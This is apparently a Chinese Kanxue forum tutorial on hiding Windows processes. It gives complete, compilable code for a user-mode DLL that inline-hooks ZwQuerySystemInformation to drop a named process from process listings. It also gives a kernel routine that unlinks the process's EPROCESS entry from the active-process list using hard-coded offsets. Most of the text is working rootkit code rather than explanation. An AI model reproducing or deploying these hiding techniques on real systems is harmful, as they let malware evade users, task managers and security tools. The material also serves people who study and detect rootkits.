其他
进程隐藏技术
看雪论坛作者ID:1900
一
用户层的进程隐藏技术
1、实现原理
① 使用GetProcAddress函数获取要HOOK的函数的地址,并将其保存。
② 修改前五字节的页属性为可读可写可执行。
③ 将这五个字节读出来备份起来。
④ 计算从需要跳转的大小,公式是:要跳转的目的地址-(HOOK的函数的地址 + 5)。
⑤ 将计算好距离的跳转指令写入函数的这五个字节。
⑥ 还原页属性。
① 判断函数是否被HOOK。
② 修改函数地址页属性为可读可写可执行。
③ HOOK的时候保存的五个字节写回到函数地址。
④ 恢复函数地址页属性。
① 首先调用UnHook将函数恢复。
② 调用原函数获取返回结果,将要隐藏的进程隐藏掉。
③ 再次对程序进行HOOK操作。
NTSTATUS WINAPI ZwQuerySystemInformation(
__in SYSTEM_INFORMATION_CLASS SystemInformationClass,
__inout PVOID SystemInformation,
__in ULONG SystemInformationLength,
__out_opt PULONG ReturnLength);
typedef enum _SYSTEM_INFORMATION_CLASS {
SystemBasicInformation = 0,
SystemPerformanceInformation = 2,
SystemTimeOfDayInformation = 3,
SystemProcessInformation = 5,
SystemProcessorPerformanceInformation = 8,
SystemInterruptInformation = 23,
SystemExceptionInformation = 33,
SystemRegistryQuotaInformation = 37,
SystemLookasideInformation = 45
} SYSTEM_INFORMATION_CLASS;
typedef struct _SYSTEM_PROCESS_INFORMATION {
ULONG NextEntryOffset;
BYTE Reserved1[52];
PVOID Reserved2[3];
HANDLE UniqueProcessId;
PVOID Reserved3;
ULONG HandleCount;
BYTE Reserved4[4];
PVOID Reserved5[11];
SIZE_T PeakPagefileUsage;
SIZE_T PrivatePageCount;
LARGE_INTEGER Reserved6[6];
} SYSTEM_PROCESS_INFORMATION, *PSYSTEM_PROCESS_INFORMATION;
// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include <Windows.h>
#include <winternl.h>
#include <cstdio>
#include <TlHelp32.h>
#define HIDE_PROCESS_NAME "demo.exe" //要隐藏的进程名
typedef
NTSTATUS
(WINAPI* pfnZwQuerySystemInformation)(SYSTEM_INFORMATION_CLASS SystemInformationClass,
PVOID SystemInformation,
ULONG SystemInformationLength,
PULONG ReturnLength);
//HOOK以后要执行的函数
NTSTATUS WINAPI MyZwQuerySystemInformation(SYSTEM_INFORMATION_CLASS SystemInformationClass,
PVOID SystemInformation,
ULONG SystemInformationLength,
PULONG ReturnLength);
BOOL Hook();
BOOL UnHook();
VOID ShowError(PCHAR msg);
DWORD WINAPI ThreadProc(LPVOID lpParameter);
DWORD GetPid(PCHAR pProName); //根据进程名获取要隐藏的进程的PID
DWORD g_dwOrgAddr = 0; //原函数地址
CHAR g_szOrgBytes[5] = { 0 }; //保存函数的前五个字节
DWORD g_dwHidePID = 0; //要隐藏的进程的PID
BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
{
HANDLE hThread = CreateThread(NULL, 0, ThreadProc, NULL, 0, NULL);
if (hThread) CloseHandle(hThread);
break;
}
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
BOOL Hook()
{
BOOL bRet = TRUE;
HMODULE hNtDll = NULL;
pfnZwQuerySystemInformation ZwQuerySystemInformation = NULL;
BYTE szShellCode[5] = { 0xE9, 0, 0, 0, 0 }; //写入跳转指令的五字节
DWORD dwOldProtect = 0; //保存原来的页属性
hNtDll = LoadLibrary("ntdll.dll");
if (hNtDll == NULL)
{
ShowError("LoadLibrary");
bRet = FALSE;
goto exit;
}
//获取函数地址
ZwQuerySystemInformation = (pfnZwQuerySystemInformation)GetProcAddress(hNtDll, "ZwQuerySystemInformation");
if (ZwQuerySystemInformation == NULL)
{
ShowError("GetProcAddress");
bRet = FALSE;
goto exit;
}
//保存HOOK函数的地址
g_dwOrgAddr = (DWORD)ZwQuerySystemInformation;
//修改页属性是可读可写可执行
if (!VirtualProtect(ZwQuerySystemInformation, sizeof(szShellCode), PAGE_EXECUTE_READWRITE, &dwOldProtect))
{
ShowError("VirtualProtect");
bRet = FALSE;
goto exit;
}
//将原来的五个字节内容保存
if (!ReadProcessMemory(GetCurrentProcess(), ZwQuerySystemInformation, g_szOrgBytes, sizeof(g_szOrgBytes), NULL))
{
ShowError("ReadProcessMemory");
bRet = FALSE;
goto exit;
}
//计算要跳转的长度
*(PDWORD)(szShellCode + 1) = (DWORD)MyZwQuerySystemInformation - ((DWORD)ZwQuerySystemInformation + 5);
//将shellcode写入
if (!WriteProcessMemory(GetCurrentProcess(), ZwQuerySystemInformation, szShellCode, sizeof(szShellCode), NULL))
{
ShowError("WriteProcessMemory");
bRet = FALSE;
goto exit;
}
//还原页属性
if (!VirtualProtect(ZwQuerySystemInformation, sizeof(szShellCode), dwOldProtect, &dwOldProtect))
{
ShowError("VirtualProtect");
bRet = FALSE;
goto exit;
}
exit:
return bRet;
}
BOOL UnHook()
{
BOOL bRet = TRUE;
DWORD dwOldProtect = 0; //保存页属性
if (g_dwOrgAddr == 0)
{
MessageBox(NULL, TEXT("函数还未HOOK"), TEXT("Error"), MB_OK);
bRet = FALSE;
goto exit;
}
//修改页属性为可读可写可执行
if (!VirtualProtect((PVOID)g_dwOrgAddr, sizeof(g_szOrgBytes), PAGE_EXECUTE_READWRITE, &dwOldProtect))
{
ShowError("VirtualProtect");
bRet = FALSE;
goto exit;
}
//将函数中原来的内容恢复回去
if (!WriteProcessMemory(GetCurrentProcess(), (PVOID)g_dwOrgAddr, g_szOrgBytes, sizeof(g_szOrgBytes), NULL))
{
ShowError("WriteProcessMemory");
bRet = FALSE;
goto exit;
}
//将页属性恢复
if (!VirtualProtect((PVOID)g_dwOrgAddr, sizeof(g_szOrgBytes), dwOldProtect, &dwOldProtect))
{
ShowError("VirtualProtect");
bRet = FALSE;
goto exit;
}
g_dwOrgAddr = 0;
memset(g_szOrgBytes, 0, sizeof(g_szOrgBytes));
exit:
return bRet;
}
NTSTATUS WINAPI MyZwQuerySystemInformation( SYSTEM_INFORMATION_CLASS SystemInformationClass,
PVOID SystemInformation,
ULONG SystemInformationLength,
PULONG ReturnLength)
{
NTSTATUS status = 0;
PSYSTEM_PROCESS_INFORMATION pCur = NULL, pPrev = NULL;
DWORD dwOrgFuncAddr = 0;
//获取函数地址
dwOrgFuncAddr = g_dwOrgAddr;
//卸载HOOK
if (!UnHook())
{
MessageBox(NULL, TEXT("UnHook失败"), TEXT("Error"), MB_OK);
goto exit;
}
status = ((pfnZwQuerySystemInformation)dwOrgFuncAddr)(SystemInformationClass, SystemInformation, SystemInformationLength, ReturnLength);
//判断函数是否调用成功,以及是否是查询进程的操作
if (NT_SUCCESS(status) && SystemInformationClass == SystemProcessInformation)
{
pCur = (PSYSTEM_PROCESS_INFORMATION)SystemInformation;
while (TRUE)
{
//判断是否是要隐藏的进程
if (g_dwHidePID == (DWORD)pCur->UniqueProcessId)
{
//将进程隐藏起来
if (pPrev == NULL) SystemInformation = (PBYTE)pCur + pCur->NextEntryOffset;
else if (pCur->NextEntryOffset == 0) pPrev->NextEntryOffset = 0;
else pPrev->NextEntryOffset += pCur->NextEntryOffset;
break;
}
else pPrev = pCur;
//如果没有下一个成功则退出
if (pCur->NextEntryOffset == 0) break;
//将指针指向下一个成员
pCur = (PSYSTEM_PROCESS_INFORMATION)((PBYTE)pCur + pCur->NextEntryOffset);
}
}
//重新HOOK
if (!Hook()) MessageBox(NULL, TEXT("Hook失败"), TEXT("Error"), MB_OK);
exit:
return status;
}
DWORD WINAPI ThreadProc(LPVOID lpParameter)
{
g_dwHidePID = GetPid(HIDE_PROCESS_NAME);
if (g_dwHidePID == 0)
{
MessageBox(NULL, TEXT("没有找到要隐藏的进程"), TEXT("Error"), MB_OK);
}
else
{
if (!Hook())
{
MessageBox(NULL, TEXT("Hook 失败"), TEXT("Error"), MB_OK);
}
else MessageBox(NULL, TEXT("Hook成功"), TEXT("Success"), MB_OK);
}
return 0;
}
DWORD GetPid(PCHAR pProName)
{
PROCESSENTRY32 pe32 = { 0 };
HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
BOOL bRet = FALSE;
if (hSnap == INVALID_HANDLE_VALUE)
{
printf("CreateToolhelp32Snapshot process %d\n", GetLastError());
return 0;
}
pe32.dwSize = sizeof(pe32);
bRet = Process32First(hSnap, &pe32);
while (bRet)
{
if (lstrcmp(pe32.szExeFile, pProName) == 0)
{
return pe32.th32ProcessID;
}
bRet = Process32Next(hSnap, &pe32);
}
CloseHandle(hSnap);
return 0;
}
VOID ShowError(PCHAR msg)
{
CHAR szError[105] = { 0 };
sprintf(szError, "%s Error %d", msg, GetLastError());
MessageBox(NULL, szError, TEXT("Error"), MB_OK);
}
2.运行结果
二
内核层的进程隐藏技术
1、实现原理
3: kd> dt _EPROCESS
nt!_EPROCESS
+0x000 Pcb : _KPROCESS
+0x098 ProcessLock : _EX_PUSH_LOCK
+0x0a0 CreateTime : _LARGE_INTEGER
+0x0a8 ExitTime : _LARGE_INTEGER
+0x0b0 RundownProtect : _EX_RUNDOWN_REF
+0x0b4 UniqueProcessId : Ptr32 Void
+0x0b8 ActiveProcessLinks : _LIST_ENTRY //进程链表
+0x0c0 ProcessQuotaUsage : [2] Uint4B
+0x0c8 ProcessQuotaPeak : [2] Uint4B
+0x0d0 CommitCharge : Uint4B
+0x0d4 QuotaBlock : Ptr32 _EPROCESS_QUOTA_BLOCK
+0x0d8 CpuQuotaBlock : Ptr32 _PS_CPU_QUOTA_BLOCK
+0x0dc PeakVirtualSize : Uint4B
+0x0e0 VirtualSize : Uint4B
+0x0e4 SessionProcessLinks : _LIST_ENTRY
+0x0ec DebugPort : Ptr32 Void
+0x0f0 ExceptionPortData : Ptr32 Void
+0x0f0 ExceptionPortValue : Uint4B
+0x0f0 ExceptionPortState : Pos 0, 3 Bits
+0x0f4 ObjectTable : Ptr32 _HANDLE_TABLE
+0x0f8 Token : _EX_FAST_REF
+0x0fc WorkingSetPage : Uint4B
+0x100 AddressCreationLock : _EX_PUSH_LOCK
+0x104 RotateInProgress : Ptr32 _ETHREAD
+0x108 ForkInProgress : Ptr32 _ETHREAD
+0x10c HardwareTrigger : Uint4B
+0x110 PhysicalVadRoot : Ptr32 _MM_AVL_TABLE
+0x114 CloneRoot : Ptr32 Void
+0x118 NumberOfPrivatePages : Uint4B
+0x11c NumberOfLockedPages : Uint4B
+0x120 Win32Process : Ptr32 Void
+0x124 Job : Ptr32 _EJOB
+0x128 SectionObject : Ptr32 Void
+0x12c SectionBaseAddress : Ptr32 Void
+0x130 Cookie : Uint4B
+0x134 Spare8 : Uint4B
+0x138 WorkingSetWatch : Ptr32 _PAGEFAULT_HISTORY
+0x13c Win32WindowStation : Ptr32 Void
+0x140 InheritedFromUniqueProcessId : Ptr32 Void
+0x144 LdtInformation : Ptr32 Void
+0x148 VdmObjects : Ptr32 Void
+0x14c ConsoleHostProcess : Uint4B
+0x150 DeviceMap : Ptr32 Void
+0x154 EtwDataSource : Ptr32 Void
+0x158 FreeTebHint : Ptr32 Void
+0x160 PageDirectoryPte : _HARDWARE_PTE
+0x160 Filler : Uint8B
+0x168 Session : Ptr32 Void
+0x16c ImageFileName : [15] UChar //指向进程的名称
+0x17b PriorityClass : UChar
+0x17c JobLinks : _LIST_ENTRY
+0x184 LockedPagesList : Ptr32 Void
+0x188 ThreadListHead : _LIST_ENTRY
typedef struct _LIST_ENTRY {
struct _LIST_ENTRY *Flink; //指向下一个EPROCESS的ActiveProcessLinks
struct _LIST_ENTRY *Blink; //指向上一个EPROCESS的ActiveProcessLinks
} LIST_ENTRY, *PLIST_ENTRY, *RESTRICTED_POINTER PRLIST_ENTRY;
VOID HideProcess()
{
PEPROCESS pCurPro = NULL, pPrevPro = NULL;
PCHAR pImageFileName = NULL;
PLIST_ENTRY pListEntry = NULL;
//获取当前进程的EPROCESS
pCurPro = PsGetCurrentProcess();
pPrevPro = pCurPro;
do
{
//获取EPROCESS的进程名
pImageFileName = (PCHAR)pCurPro + 0x16C;
//是否是要隐藏的进程
if (strcmp(pImageFileName, "demo.exe") == 0)
{
//对进程进行断链操作
pListEntry = (PLIST_ENTRY)((ULONG)pCurPro + 0xB8);
pListEntry->Blink->Flink = pListEntry->Flink;
pListEntry->Flink->Blink = pListEntry->Blink;
DbgPrint("进程%s隐藏成功\r\n", pImageFileName);
}
pCurPro = (PEPROCESS)(*(PULONG)((ULONG)pCurPro + 0xB8) - 0xB8);
} while (pCurPro != pPrevPro);
}
2、运行结果
看雪ID:1900
https://bbs.pediy.com/user-home-835440.htm
# 往期推荐
2.0day书中内核漏洞exploitme.sys的学习记录
球分享
球点赞
球在看
点击“阅读原文”,了解更多!